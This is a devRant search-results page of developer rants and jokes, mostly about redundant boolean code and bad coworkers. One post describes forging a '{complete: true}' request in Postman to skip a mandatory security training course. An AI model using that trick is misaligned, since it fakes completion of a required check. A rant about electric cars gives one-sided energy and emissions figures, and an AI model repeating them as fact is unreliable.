Join devRant
Do all the things like
++ or -- rants, post your own rants, comment on others' rants and build your customized dev avatar
Sign Up
Pipeless API

From the creators of devRant, Pipeless lets you power real-time personalized recommendations and activity feeds using a simple API
Learn More
Search - "if-false"
-
I'm new, so I'm unaware of the rules. I'll simply assume I'm allowed to post this, if there are any moderators, please tell me if this simply shouldn't be here.
I came from Sololearn, and someone told me to download devRant. I love it.
I was the most active participant in the Sololearn Q&A, answering questions and replying to comments quicker than you can close the app.
Everyone knows me and enjoys having me there, but something happened. Some idiotic troll kept harassing and trolling others including myself. The mods banned him but he returned and was targeting me.
He made over 50 accounts and never replied to a comment with the same account. He sent threats and continued polluting Sololearn.
The mods had a theory is was me and banned my account. I'm heartbroken, furious, upset, and empty without my SL account. My codes are gone, my comments, answers, and replied are gone. Everything is gone.
They think I ruined SL with a false account and I'm trying to clear my name. I'm innocent.
That's when I discovered this app. In SL I loved the community and the Q&A and everything. I loved helping out but now I can't. People are even making posts asking me to return, but the mods removed them.
I hope the community here treats me well, and I hope this will replace SL. So far, I haven't felt the same way as I did with SL, but I'll try to love it just as much.182 -
There are two kinds of people:
those who write
if foo.isBar() {
foo.setBar(false)
}
else {
foo.setBar(true)
}
Vs
those who write
foo.setBar(!foo.isBar())
Only good programmers will understand😢😊31 -
Went to go help someone with their wireless printer.
Client: my printer doesnt work.
Me: okay let me take a look at it.. (took a look at it and saw the power core wasnt plug in)
So it seem like you forgot to plug in the powercord. Do you by any chance have it with you?
Client: well it said it was a wireless printer so i didnt think i would need it. I threw it away.
Me: well yeah wireless as in you dont need a usb core to connect it to your computer you can just do it through wifi.. but it needs a power source in order to turn on..
Client: well then why did it said that its a wireless printer if it needs a cord? Thats false advertisement.
Me: Sir the printer is a wireless printer but you cant get power wireless you need a power source in order to turn on the printer.
Client: you probably dont know what youre doing.
Me: *its okay hes only 79 years old*8 -
Code: if(customer.primaryContract)
Boss: "just using a variable as a boolean isn't very readable"
Me:
if(!(!customer.primaryContract != !true).toString() == 'false')13 -
public boolean even( int num ) {
if ( num < 0 )
num = -1 * num;
while ( num > 1 )
num = num - 2;
if ( num == 0 )
return true;
else
return false;
}19 -
We're using a ticket system at work that a local company wrote specifically for IT-support companies. It's missing so many (to us) essential features that they flat out ignored the feature requests for. I started dissecting their front-end code to find ways to get the site to do what we want and find a lot of ugly code.
Stuff like if(!confirm("blablabla") == false) and whole JavaScript libraries just to perform one task in one page that are loaded on every page you visit, complaining in the js console that they are loaded in the wrong order. It also uses a websocket on a completely arbitrary port making it impossible to work with it if you are on a restricted wifi. They flat out lie about their customers not wanting an offline app even though their communications platform on which they got asked this question once again got swarmed with big customers disagreeing as the mobile perofrmance and design of the mobile webpage is just atrocious.
So i dig farther and farthee adding all the features we want into a userscript with a beat little 'custom namespace' i make pretty good progress until i find a site that does asynchronous loading of its subpages all of a sudden. They never do that anywhere else. Injecting code into the overcomolicated jQuery mess that they call code is impossible to me, so i track changes via a mutationObserver (awesome stuff for userscripts, never heard of it before) and get that running too.
The userscript got such a volume of functions in such a short time that my boss even used it to demonstrate to them what we want and asked them why they couldn't do it in a reasonable timeframe.
All in all I'm pretty proud if the script, but i hate that software companies that write such a mess of code in different coding styles all over the place even get a foot into the door.
And that's just the code part: They very veeeery often just break stuff in updates that then require multiple hotfixes throughout the day after we complain about it. These errors even go so far to break functionality completely or just throw 500s in our face. It really gives you the impression that they are not testing that thing at all.
And the worst: They actively encourage their trainees to write as much code as possible to get paid more than their contract says, so of course they just break stuff all the time to write as much as possible.
Where did i get that information you ask? They state it on ther fucking career page!
We also have reverse proxy in front of that page that manages the HTTPS encryption and Let's Encrypt renewal. Guess what: They internally check if the certificate on the machine is valid and the system refuses to work if it isn't. How do you upload a certificate to the system you asked? You don't! You have to mail it to them for them to SSH into the system and install it manually. When will that be possible you ask? SOON™.
At least after a while i got them to just disable the 'feature'.
While we are at 'features' (sorry for the bad structure): They have this genius 'smart redirect' feature that is supposed to throw you right back where you were once you're done editing something. Brilliant idea, how do they do it? Using a callback libk like everyone else? Noooo. A serverside database entry that only gets correctly updated half of the time. So while multitasking in multiple tabs because the performance of that thing almost forces you to makes it a whole lot worse you are not protected from it if you don't. Example: you did work on ticket A and save that. You get redirected to ticket B you worked on this morning even though its fucking 5 o' clock in the evening. So of course you get confused over wherever you selected the right ticket to begin with. So you have to check that almost everytime.
Alright, rant over.
Let's see if i beed to make another one after their big 'all feature requests on hold, UI redesign, everything will be fixed and much better'-update.5 -
A bit long story about language barrier.
So I worked at an Asia company. The company decided to close a Northern Europe site which was considered to have low productivity. I was sent to that site to learn and take their job back to HQ.
One day when I was there, we got an email from a developer in HQ, requesting feature changes in the software maintained by the Northern Europe site. I heard the local developers were discussing about the email in their language. I don't speak their language but I could feel that they were confusing. So I walked to them and ask if I could help. They show me the email written in English by the Asian developer in HQ. And I was surprised that even I (who speaks the same native language with HQ dev) couldn't fully understand what the mail wanted to express. So I called back to HQ and talked to the developer directly, in our native language.
Turns out, he actually tried to say a completely different thing with that was written in the email.
Until that moment, I finally know why the site was considered to have low productivity. The men in HQ just couldn't describe the requirements correctly. And sure you got false result when you give wrong requirements statements.
I was so angry and felt sorry about the developers in that closing site. They were far more talented and experienced than most my colleagues in HQ. But they were laid off only because communication errors in HQ developers.7 -
This is not a joke. This is not something I wrote to be funny. This is not found randomly off the internet. This is a real part of the project I inherited: a function that not only is more cumbersome to use than the simple <Array>.contains that it wraps, but rather than returning the boolean result from the function, sends it through an if statement and returns hardcoded true and false values for... Good luck? I guess?47
-
So a coworker wrote this -- a function that returns a view if a specific object exists in the database. Now what would happen said object doesn't exist in the database? Forget about returning false and handling it properly, he decides that the function should print (echo) a zero! Not to mention almost all his if-else blocks prints a fucking zero when the if condition is false (there are 8 of them, if you're asking). Error messages? The hell with those.
He is now the PM btw. I've had enough of this shithole.14 -
I've had my share of incompetent coworkers. In order of appearance:
1. A full stack dev. This one guy never, and I mean NEVER uses relationships in their tables. No indexing, no keys, nada. Couple of months later he was baffled why his page took ten seconds to load.
2. The same dev as (1). Requirement was to create some sort of "theme" feature for a web app. Hacked it by putting !important all over the place.
3. The same dev again. He creates several functions that if the data exists returns a view, and if it doesn't, "echo '0'". No, not return 0 or return false or anything, but fucking echo. This was PHP. If posted a rant about this a few months ago.
4. Same dev, has no idea what clean code is. No, not just reusable functions, he doesn't even get indenting right. Some functions have 4 spaces, some 2 tabs, some 6 tabs! And this is inside the same function. God wait until he tries Python...
5. Same dev now suggests that he become the PM. GM approves (very small company). Assigns me to travel to a client since they needed "technical assistance about the API". Was actually there to lead a UAT session.
Intermezzo, that guy went from fullstack dev to PM to sales (yes, one who calls clients to offer products) to business development, to product analyst in the span of two years.
After a year and a half there, I quit.
6. New company, a "QA engineer" who also assumes the role as the product owner. Does absolutely no tests other than "functional tests" in which he NEVER produces any form of documentation. Not even a set of test cases. He goes by "intuition".
7. Same guy as (6), hands me requirements for a feature. By "hands me" I mean he did that verbally. No spec documents, no slack chat, no Trello card. I ended up writing it as a card in Trello. Fast forward to the due date, he flips out because that wasn't what he wanted. Showed him the card. He walked away, without thinking of a solution how this mess should be handled.
Despite all this, I really don't want him (6&7) to leave the company. The devs get really stressed out at this job and he does make a really good person to laugh with/at. -
Great news, our company's has a brand new security-first product, with an easy to use API and a beautiful web interface.
It is SQL-injection-enabled, XSS-compatible, logins are optional (if you do not provide a password, you are logged in as admin).
The json-api has custom-date formats, bools are any of "1", "0", 1, 0, false or null (but never true). Numbers are strings or numbers. Utf-8 is not supported. Most of our customers use special characters.
The web interface is using plain bootstrap, and because of XSS it is really easy to customize everything.
How the hell this product got launched is beyond me.10 -
Dear Android:
I know I'm not on wifi. I get it. Sometimes data coverage isn't amazing or the network is congested. It's cool. You can just flash "no service" and I just won't try. or even "3G" and I'll have some patience. I rember how slow 3G was. It's okay, I'll wait.
But fucking stop showing 4G LTE if you can't make a fucking GET request for a 2kb text file in less than 5 minutes! Fucking really? Don't fucking lie to me with your false hope bullshit, just tell me the truth and I'll probably sigh and say shit and put my phone away.
But fuck you and your progress bar externally stuck in the middle. As if to say you're making progress! Wasting my time!
If you can't download a kilobyte in a 5min period, why even say I have data at all? What good does that do me?23 -
if( !condition ) vs. if(condition == false)
Pointless debate started with readability, turned into heated insults under 30 seconds 😂20 -
int main()
{
bool NeedPoints = true;
int Points = 0;
if (NeedPoints)
{
Points++;
if (Points > 10)
{
CreateAvatar();
NeedPoints = false;
}
}
}29 -
> 3 hour long mandatory online cybersecurity training
> Preaches that the company is very secure and the only risk of being “hacked” is if employees post company data on social media
> oksure.tar.gz
> Bored out of my mine
> Open dev console
> JSON continually getting sent to backend
> Simple structure and human readable fields including {complete: false}
> Open postman
> {complete: true}
> Send
> 200 response
> Refresh page
> Course complete
> :’ )
Muppets.4 -
Me-
/ / / / / / / / /
if (bool == true)
{
bool = false;
}
if (bool == false)
{
bool = true;
}
/ / / / / / / / /
My friend-
/ / / / / / / / /
bool = !bool;
/ / / / / / / / /
*not a real story*15 -
Rant rant = new Rant
rant.isRant = false // !!!
I woke up this morning after not thinking about my code for a day, and realized i had a flaw in my validation design. I fixed it before opening my eyes.
It's kind of amazing how not thinking about a problem can help solve it. Even if you don't know it's there!6 -
Not a rant - just wondering if anyone else witnessed a really awkward closing talk at a conference.
Attended a mandatory JS conference yesterday where all the speakers gave the typical conference talks on new ideas, frameworks, packages with code demonstrations. Most of talks were great and the some of the speakers were extremly humorous making the whole audience laugh which is hard to do. The talk right before the keynote speaker was like this.
Then the keynote started...
The end presenter was an asian-american woman (normally would not metion race/ gender but it’s important to the story) whose talk was basically how the white males of the world are controlling tech an their bias and privilege are marginalizing the rest of us who are not white american ‘cis-males’
She had no data and weak examples, such as sensors on automatic soap despeners not working on darker skins tones (that’s not racist it’s physics). Another example was a plugin where true=male and false=female. That is not gender biased it’s just lazy programming.
At one point she said:
“Have you even been to a party at a rich white guy’s house? There boring! I’m sorry”
This was just a talk about her feelings, if I was not surrounded by my coworkers I would have left.
I feel like this was not appropiate talk for one track conference since it traps everyone into listening. Especially where attendance is obligatory by your employer.
The conference should have warned people it would be an uncomfortable talk and invite people to start happy hour early if they chose.
To add to the weirdness in the closing remarks of one of the organizers patted himself on the back for supplying the women’s bathroom with tampons. He even created a slide for it with a tampon illustration.
Example slide from her deck.60 -
I messaged a professor at MIT and surprisingly got a response back.
He told me that "generating primes deterministically is a solved problem" and he would be very surprised if what I wrote beat wheel factorization, but that he would be interested if it did.
It didnt when he messaged me.
It does now.
Tested on primes up to 26 digits.
Current time tends to be 1-100th to 2-100th of a second.
Seems to be steady.
First n=1million digits *always* returns false for composites, while for primes the rate is 56% true vs false, and now that I've made it faster, I'm fairly certain I can get it to 100% accuracy.
In fact what I'm thinking I'll do is generate a random semiprime using the suspected prime, map it over to some other factor tree using the variation on modular expotentiation several of us on devrant stumbled on, and then see if it still factors. If it does then we know the number in question is prime. And because we know the factor in question, the semiprime mapping function doesnt require any additional searching or iterations.
The false negative rate, I think goes to zero the larger the prime from what I can see. But it wont be an issue if I'm right about the accuracy being correctable.
I'd like to thank the professor for the challenge. He also shared a bunch of useful links.
That ones a rare bird.21 -
When /admin is protected by nothing more then:
var admin = false;
If(!admin){
setTimeout( function(){
window.location.href = "/home"
}, 1000);
}
My favourite to ever stumble on and dred going through hundreds of files to actually fix😣4 -
Debug.Log("Works")
Debug.Log("WORKS")
Debug.Log("WORKING")
Debug.Log("WORKIIIIIIING")
Debug.Log("WORKSES")
Debug.Log("WOREJRIE")
Debug.Log("KILL ME")
Debug.Log("TRUE")
Debug.Log("FALSE")
Debug.Log("I NEED TO TAKE A SHIT FUCKING WORK")
Debug.Log("IF YOU SEE THIS YOU WIN AT LIFE")
Debug.Log("IF YOU SEE THIS YOU ARE A FAILURE")
Debug.Log("FUUUUUUCK")
Debug.Log("FUCK ME")
Debug.Log("EICUEF738DKWIS")9 -
bool success = false
if !success {
success = try()
}
if !success {
success = try()
}
if !success {
throw new GiveUpException()
}8 -
ARGH. I wrote a long rant containing a bunch of gems from the codebase at @work, and lost it.
I'll summarize the few I remember.
First, the cliche:
if (x == true) { return true; } else { return false; };
Seriously written (more than once) by the "legendary" devs themselves.
Then, lots of typos in constants (and methods, and comments, and ...) like:
SMD_AGENT_SHCEDULE_XYZ = '5-year-old-typo'
and gems like:
def hot_garbage
magic = [nil, '']
magic = [0, nil] if something_something
success = other_method_that_returns_nothing(magic)
if success == true
return true # signal success
end
end
^ That one is from our glorious self-proclaimed leader / "engineering director" / the junior dev thundercunt on a power trip. Good stuff.
Next up are a few of my personal favorites:
Report.run_every 4.hours # Every 6 hours
Daemon.run_at_hour 6 # Daily at 8am
LANG_ENGLISH = :en
LANG_SPANISH = :sp # because fuck standards, right?
And for design decisions...
The code was supposed to support multiple currencies, but just disregards them and sets a hardcoded 'usd' instead -- and the system stores that string on literally hundreds of millions of records, often multiple times too (e.g. for payment, display fees, etc). and! AND! IT'S ALWAYS A FUCKING VARCHAR(255)! So a single payment record uses 768 bytes to store 'usd' 'usd' 'usd'
I'd mention the design decisions that led to the 35 second minimum pay API response time (often 55 sec), but i don't remember the details well enough.
Also:
The senior devs can get pretty much anything through code review. So can the dev accountants. and ... well, pretty much everyone else. Seriously, i have absolutely no idea how all of this shit managed to get published.
But speaking of code reviews: Some security holes are allowed through because (and i quote) "they already exist elsewhere in the codebase." You can't make this up.
Oh, and another!
In a feature that merges two user objects and all their data, there's a method to generate a unique ID. It concatenates 12 random numbers (one at a time, ofc) then checks the database to see if that id already exists. It tries this 20 times, and uses the first unique one... or falls through and uses its last attempt. This ofc leads to collisions, and those collisions are messy and require a db rollback to fix. gg. This was written by the "legendary" dev himself, replete with his signature single-letter variable names. I brought it up and he laughed it off, saying the collisions have been rare enough it doesn't really matter so he won't fix it.
Yep, it's garbage all the way down.16 -
So I once had a job as a C# developer at a company that rewrote its legacy software in .Net after years of running VB3 code - the project had originally started in 1994 and ran on Windows 3.11.
As one of the only two guys in the team that actually knew VB I was eventually put in charge of bug for bug compatibility. Since our software did some financial estimations that were impossible to do without it (because they were not well defined), our clients didn't much care if the results were slightly wrong, as long as they were exactly compatible with the previous version - compatibility proved the results were correct.
This job mostly consisted of finding rounding errors caused by the old VB3 code, but that's not what I'm here to talk about today.
One day, after dealing with many smaller functions, I felt I was ready to finally tackle the most complicated function in our code. This was a beast of a function, called Calc, which was called from everywhere in the code, did a whole bunch of calculations, and returned a single number. It consisted of 500 or so lines of spaghetti.
This function had a very peculiar structure:
Function Calc(...)
...
If SomeVariable Then
...
If Not SomeVariable Then
...
(the most important bit of calculation happened here)
...
End If
...
End If
...
End Function
But for some reason it actually worked. For days I tried to find out what's going on, where the SomeVariable was being changed or how the nesting indentation was actually wrong and didn't match the source, but to no avail. Eventually, though, after many days, I did find the answer.
SomeVariable = 1
Somehow, the makers of VB3 though it would be a good idea for Not X to be calculated as (-1 - X). So if a variable was not a boolean (-1 for True, 0 for False), both X and Not X could be truthy, non-zero values.
And kids these days complain about JavaScript's handling of ==...7 -
Yesterday, my girlfriend caught a virus. There were 5+ running programs, in program files, program files x86, system32, basically everywhere. The virus modified chrome, firefox, edge (and even installed a false uc browser assuming we had one), there are many entries at startup programs, also running daemons, once you kill one of them, the others detect it and replicate their killed fellows. Tried to run a linux live usb disk for a cleanup, but the computer hibernates instead of shutdown, making modifications on disk risky.
I spent hours trying to suppress the processes, do a manual cleanup and antivirus search. It looked all cleaned up, then I reinstalled chrome, and now it switches its homepage everytime I open it, it also injects batch arguments to desktop link forum chrome (deleting it manually does not help, it comes back). I'm a linux guy, and in a few hours, I hated windows more than ever.
If anybody knows the authors, I *really* want to meet them. I promise I'm not going to punch them, but kneel down, bow my head in respect, and say "teach me master."14 -
not the worst by itself, except I keep finding them everywhere
if(thingThatIsTrue == true) {
// omfg
}
or it's inbred cousin
if(!thingThatIsTrue == false) {
//herpa derp
}6 -
People who start their reply to other people's comments with "Wrong." should be shot, or at least receive several hard punches in the stomach, even if their refutation is 100% on point.
It's such an autistic knee-jerk reaction to hit the error buzzer whenever you see false information.
Correcting someone is fine, amazing even, but it's not some game show where you get points for jelling the correct answer as fast as possible.
I wish there was a cryptocurrency which was mined by spreading correct information politely.22 -
Someone gave me a web method that return a boolean.
The Boolean tells me if the operation went well.
True means everything went well
False means something went wrong
But
It throws exception when something went wrong.
Basically they implemented a Boolean system to check if everything is alright but I also have to add a try/catch if something is not right.9 -
So yesterday I deployed a build on our release environment and i had added a new rest api end-point which I needed to test.. A heads up though, its written in java spring and the entire flow consisted of too many calls/returns from various other java & python services.. Also to make things worse, the entire deployment is a really cumbersome process as you need to copy the build from one box to another..
After like almost 4-5 hours of debugging, adding logs left right & center, crazy upload speeds (yaa this is sarcastic) and frustation at its peak, I found the issue..
There was an if condition that was checking for equality between an enum constant & an enum in a request aaaannnnnddd
*Drum roll
THE CONSTANT ENUM BELONGED TO THE WRONG PACKAGE HENCE ALWAYS EVALUATING TO FALSE... ALSO, BOTH THE ENUMS IN THE DIFFERENT PACKAGES ARE IDENTICAL... FUCCKKKKKKK MY LIFE
😑🔫rant i am done with life why you do this java someone kill me now no tags nope i am not time to die i am dead1 -
I finally got Redux-Form’s `initialValues` to work! Wooooo~!
/giphy confetti cheering
It turns out I haven’t actually been doing anything wrong for the past week. I mean, I've been working on other things during that week, too, but I've been trying to solve this the entire time.
The cause? ReduxForm made a breaking change awhile ago (v5; we’re using v7) that prevents the `initialValues` prop from working if you decorate your form component in the wrong order. Many examples online are incorrect because of this.
Basically, the decorators `reduxForm` and `connect` do not commute:
Incorrect:
`reduxForm(...)( connect(..., {...})(form) )`
vs Correct:
`connect(..., {...})( reduxForm(...)(form) )`
But what really pisses me off is that the fucking documentation specifically fucking states that you may decorate your component IN ANY [FUCKING] ORDER.
/giphy that is [fucking] false
So, I've been following example after [fucking] example that either list these in the wrong order, or I just don't notice the different order because it doesn't matter. AND because of that NONE OF THE [...] EXAMPLES WORK.
ARGH.
I've been pacing around the office trying to figure this out for days. I've rewritten my code three times to try to solve this. I've written two workarounds for it only to rip them out and try again because they both broke some other part of the UX. (e.g. causing false validation errors after rerender)
just. hafhsldkjhgjkhagklwhsdjfkahslf. 😡
/giphy angry hades
You know how I discovered this?
I found it in a github ticket. One solitary, untagged ticket from October of last year. Not a single goddamn post anywhere else mentioned this. And the [...] documentation specifically [...] states the [...] opposite!
Bloody [...] hell.
but it finally works.
as;kgjhaekl;gahgjkdflssdafh.
I could scream.6 -
Developers who writes something similar
if (count >= 0) { return true; }
else { return false; }
deserves a special room in hell.16 -
Only slightly tech related. So proud of my mom.
Many years ago I helped her create a Facebook account. As it happens with most older people, she started sharing false news that she saw on her network.
So I taught her how to verify. Reverse image search. To google it and if no real news site talked about it, it was fake.
Anyway, she listened and started learning.
Now she is telling people when they are posting something untrue and I even taught her how to report false news posts.1 -
A tip to tech folks from my personal xp.
If you fuck up and make an impacting mistake in your company, like taking PROD down, noone is going to fire you on spot. Assign some more mandatory trainings - maybe. So you'd be more careful next time.
See, it's not worth getting rid of someone who made a mistake. You should be seated down and insisted to fix it. If you don't - then they might consider firing it. If you do fix it [with help or alone] - you become a more valuable asset to the company as you prove you are responsible for your actions and you take it seriously. You show that you can clean up your own shit and you don't need a babysiter next to you.
If you simply make a mistake and they replace you with someone else, that someone else is likely to be unaware of your mistakes and is doomed to repeat them. It's just bad for business.
Ofc if you making mistakes becomes a tendency rather than an exception, it's also a red flag for the business.
Don't get too laxed! And always answer for your shit. Never hide a fuckup - always alarm about it asap so that corrective actions could be taken by respective organs of the company while you are fixing it.
Come up with an action plan, announce it. Estimate resources you need [like help from others] - announce that too. Update concerned parties every half an hour or so about the status. If you find you need anything else while fixing it or you come across some blockers/delays/change of impact - always announce asap. Do avoid false alarms and disinformation.
// inspired by someone's rant today7 -
when your co-worker instead of commenting a piece of old code wraps it in:
if (false) {
...
}
Took me 2 hours to figure out why my changes weren't working.3 -
I have previously seen this in a production code base. The same code base included nested if statements (20+ conditions)...
If (condition == false) {
return false;
} else if (condition == true) {
return true;
}11 -
My Javascript professor explained Boolean to me using an allegory about pizza: "If I give you pizza, under what condition do you eat it? Your hunger must be true or false. Boolean does the same thing, but with things less exciting than pizza."
It didn't even begin to make sense to me until it became about pizza.
I vote for ALL future computer classes to be taught in terms of pizza.12 -
Kids use "if(condition)"
Men use "if(condition == true)"
Legends use "if((condition == false) == false)"11 -
This guy who earns 20% more than me wrote a method to check which string of 2 is lexicographically smaller.
public boolean isSmaller(String s1, String s2) {
String [] temp = new String[2];
temp[0] = s1;
temp[1] = s2;
Collections.sort(temp);
if (temp[0].equalsIgnoreCase(s1)) {
return true;
}
else {
return false;
}
}4 -
Omg so I've been stuck on this function I'm writing that checks if a certain array value is so many characters long and well, it just wasnt returning false when outside the conditions..
I tried taking it step by step, echoing out every line and it all made sense to me and there were no syntax errors.
Time goes by and inside the configuration file I was testing.. I was changing the value of a DIFFERENT array property than what I was using in my condition. They looked really similar.. fml xD2 -
Three word story:
I saw the infinity rant @linuxer4fun created and got inspired--it's about time we write one of those somewhat nasty, utterly random, amazingly sophisticated three word stories (spanning unto eternity!)
This means I start by writing three words, somebody else responds to that with three words, keeping within the context of the previous one, with the ultimate goal of writing an epic tale together (of dragons and stuff!)
You're not allowed to write a comment if the previous comment is yours:
if (comment.previous ().owner == you)
return false;109 -
Got contacted by "cosmicjs" ( https://cosmicjs.com ) to build apps using the platform and blog about said apps.
Googling them, they got articles spread all over medium, by either the co-founder or the developers, praising it to be the better wordpress and how some seemingly paid twitter posts praise it too.
Apparently "Deutsche Bank" and Volkswagen, Apple, Microsoft, IBM, JPMorganChase use it, which I highly doubt, maybe somebody here can figure out if thats actually false claims, since googling any of those together obv. doesn't return anything, nor makes it sense why they would spend such a large amount on... nothing?..
That one might be just me, but then theres those comments from themselves on producthunt, praising it, though it seems they failed to logout or something? the one co-founder seems to be praising how easy it is to install, by talking about it like an external user?.. (screenshot in comments)14 -
bool True = false;
bool False = true;
if (True == true)
{
False = True;
}
else
{
True = true;
False = !true;
}
if (!False == !!true && True == !false)
{
False = True;
True = (!!False)true;
}
Console.WriteLine("Banana");5 -
SM = Scrum Master
SM: "Card #130, you added a comment saying you aren't going to do update the report?"
Me:"Yea, I explained why in the comment"
SM: "Product owner wants it."
Me: "Product owner isn't the manager using it. I talked with Steve, he said the data is accurate and they have to go to the database anyway to verify the error. That report has no way of knowing the message logged could be a false positive."
SM: "That's not our job to decide. If the Product Owner wants the feature, we add the feature."
Me: "It is absolutely is our job. Steve is the user of the report. I could really care less what the product owner said. The only reason he created the card was because Steve told him a specific error logged could be a false positive, and only happens, maybe, once a month. I'm not wasting my time, Steve's time, or this project's time on wild goose chases."
SM: "I'll schedule a meeting this afternoon to discuss the issue with the product owner. Don't worry, if you can't figure out how to filter out the false positives, I'll assign the ticket to me."
fracking fracking kiss ass. I swear, if he goes behind my back again ....I... deep breath....ahhh...OK..Thanks devrant. Work place incident diverted.6 -
So I just wanted to log back into windows. Typed in the password. Wrong password...
Then I tried being super accurate while typing and also checked keyboard layout, etc. Still, wrong password.
Then I noticed that the letter p is not working. Shit, keyboard seems to be broken.
On screen keyboard -> p is not working...
What the hell? What kind of error is this?
NT Kernel code has to be something like this:
if(timeSinceLastError > someValue)
keyboard.p.enable = false;
I guess you could also replace the keyboard error with some random error.
If you encounter this, restart Windows.3 -
I’m working with a “senior” developer with a full decade more experience than me who didn’t know that short-circuit evaluation works differently for OR than it does for AND. He argued with me for a good hour and a half that in the expression (a || b), b would never be evaluated if a is false — and that this couldn’t possibly be the source of the bug he was trying to fix.
🙄5 -
I have this project I've inherited, yea I seem to do that a lot, but this damn thing, has to run in php5.4, has deprecated functions for php7 everywhere and a lot of them and there's no classes anywhere beyond some libraries.
Everything is procedural with random scripts being injected left right and center.
I kid you not,
$thisThing = true;
If(x==y)
require "path/to/some/script.php";
else
require "path/to/a/slightly/different/script.php";
If($thisThing === false){
// well it was modified in that small block about 10 different times
}
Those injected scripts then accept data from the parent scope so, looking at file X, you need to have open file A,B, E, and M to understand where variables have been initialised and what there current state could potentially be.
Basically this thing was bandaid after bandaid for feature requests with 0 refactoring.
Here I am trying to implement some basic functionality (should only take an hour or so + a bit of manual testing) but no, I'm literally at the point of hitting the delete button on the entire project and starting again.rant why you no work what did i do to deserve this alcohol is your friend commented out blocks everywhere even with git there was no deleted code kill me now where the hell did that thing come from cocaine may help is this v2 file the right one don't do drugs18 -
Genuine snippet of code from something we are rewriting from scratch..
// Returns true if section length is greater than maximum path
public bool isOversized(double sectionLength) {
return false;
}
Fffuuuuuu6 -
I was just waiting for it to happen. The gaslighting charade finally crumbles.
Tldr: was strongly asked to work overtime again for no reason, refused it (weakly, but it is a start).
(Boss isn't actually my boss, just my unofficial lead at the moment.)
1.4 hours after regular work hours:
Me: boss, this issue is still not resolved but I am out of ideas for it. Already shared my last resort idea twice with you but you don't agree to it. If you are available I can meet you for a short call before logging off for the weekend.
.
10 minutes later, just as I am about to log off.
.
Boss: let's meet. The problem implies something wrong with your code. Let's check.
Me: [ugh] okay
.
Boss then rambles on about a juvenile nsfw joke to describe the situation and I force a laugh, we get to the topic. I manage to explain the situation despite the interruptions from him. Then he shares his genius idea. We agree it might work but the implementation will be slightly tricky. It is now 2 hours outside of work hours.
.
Boss: can you try it out and let me know if it works?
Me: sure, I'll try it out on Monday and keep you posted.
Boss: Monday?!! Look, it is getting on my nerves now, this has been going on for too long (false, since the issue is from a day before not a week before and I had asked for help multiple times before today).
I don't even know what big boss is going to be like. This needs to be done.
Me:. ...
[ You manipulative asshole, I'm not doing overtime for you, I owe you nothing and don't give a shit about your senile nerves. Fuck you and your shit codebase and clusterfuck development environment which makes the hairballs in a public toilet look well engineered.]
Look, it is difficult for me too...
Boss: If not now, I can accept weekend. Because I don't know how big boss will take it. You understand right what I'm saying. This needs to be done.
Me: [Fuck off scum chod! Take your acceptance, fuck it hard, and take it away with you! ]
Hmm. Let's see what can be done.
Thanks for your help.
Logged off.
I can't express the tone of his righteous rage in words.
I have never had to face such revolting attitude before from people at work. I just don't get how people can be so ridiculous. The whole team is filled with chodebags of different sizes.rant fucking chodebag little wins how do these people get chosen to lead? perhaps more to come later33 -
Anyone else developed a habit to structure verbal allday Argumentations in your head in Code syntax? Helps me alot to follow ones logic. Except when I'm arguing with my girlfriend. Sometimes setMood(angry) gets randomly called (bug?) and then every if statement seems to be valid, eventhough it should return false. An inputstream that contains my outputstream is initialized but .readLine() is never being called. Instead, the outputstream to my inputstream is being overly abused. Once we get dive deeper into our if-statement we will find a while loop with a mysterious flag. Noone knows it's origin. The while loop keeps printing out random concatenated strings until it overflows your own capacity. I would have said its while(true) but in fact there must be a timer in another very hidden thread or something that sets our flag to false. The other and only way I know to exit that loop is to call apology() 100 times (maybe a variable sets the boolean that could be deeply buried in her projectstructure like this CONST.VALUES.getMood().getRealMood().getTrueMood().TRUTHCONTAINER.angryMode=true)..
I wish I could get a stressball so I can continue theorycrafting and debugging. Its 4.30 am now, my better side is snoozing next to me. I bet making this a pseudocode would be fun.
Ps: I love my lady but I had to rent3 -
Hello devRant, this is going to be my first time posting on the site.
I work for a gaming community on the side, and today one of the managers asked me to implement a blacklist system into the chat and reactivate the previously existing one temporarily. This shouldn't have had any issues and should've been implemented within minutes. Once it was done and tested, I pushed it to the main server. This is the moment I found out the previous developer apparently decided it would be the best idea to use the internal function that verifies that the sender isn't blacklisted or using any blacklisted words as a logger for the server/panel, even though there is another internal function that does all the logging plus it's more detailed than the verification one he used. But the panel he designed to access and log all of this, always expects the response to be true, so if it returns false it would break the addon used to send details to the panel which would break the server. The only way to get around it is by removing the entire panel, but then they lose access to the details not logged to the server.
May not have explained this the best, but the way it is designed is just completely screwed up and just really needs a full redo, but the managers don't want to redo do it since apparently, this is the best way it can be done.7 -
What.. the actual... fuuuuuck?!
Browsing through changes on TFS (yeah, yeah boo me for using TFS instead of git if you like, I don't care, most people use/prefer TFS here, so I conform 'to the standards'..)
Anyhow, going through changes, looking for the one where some comment appeared..
'a wild comment appeared'.. tadaaah!
Checked the rest of changes.. Hm.. Someone did a validity check.. that returns the 'false' if not passed.
// OK, great! They are finally testing their shit and fixing stuff..
But apparently then they decided it is OK to do all the shit anyways.. so WTF?!
Why even bother validating it?! Oh yeah, forgot... cuz in case it returned false YOU WERE NOT SUPPOSED TO LET SOME STUFF HAPPEN!! But they weren't assigned with that exact task I guess..
TO DO:
- do the validation algo // fml, not going into how fucked up that was written..but it was horrible!
- do validity check where appropriate/needed
- test validity check and that it doesn't break functionality
+ check if the validation actually logically works?! nope, not on my to do list, not my job..
All done, better not actually do something that requires you to think.. :\
How the fuck that happened?! How can one person be assigned to check if something is stupid/wrong?! and when checking (&confirming) still lets the customer do that shit anyways?! What's the point?! O.O13 -
Electric cars are not better for the environment. All petrol cars combined are only responsible for 7.9% of CO2 emissions. If your electric car is charged from a grid that is powered by a coal-burning power station, it contributes nothing to dealing with climate change. It only provides you with the false sense of security, and you can look cool telling your friends that “you know, I drive a Tesla, I’m environmentally conscious, your gas car is bad”.
Electric cars are lame. When I’m out of fuel, I can refuel fully in minutes. With electric car, I’ll have to wait at least five hours. Let’s be realistic, superchargers aren’t common, and will never be.
Gasoline is 46.4 MJ/kg, or 34.2 MJ/l. Li-Ion is 0.36–0.875. Let’s be generous and say it’s 0.9. To match 1 kg of petrol, I would need 51 kilos of batteries.
Average gas tank is 18 gallons, or 68 litres. To match that, my battery must have a weight of 2.5 metric tonnes. Bear in mind, empty battery and full battery has the same weight. Also, bear in mind, batteries perform worse in the winter.
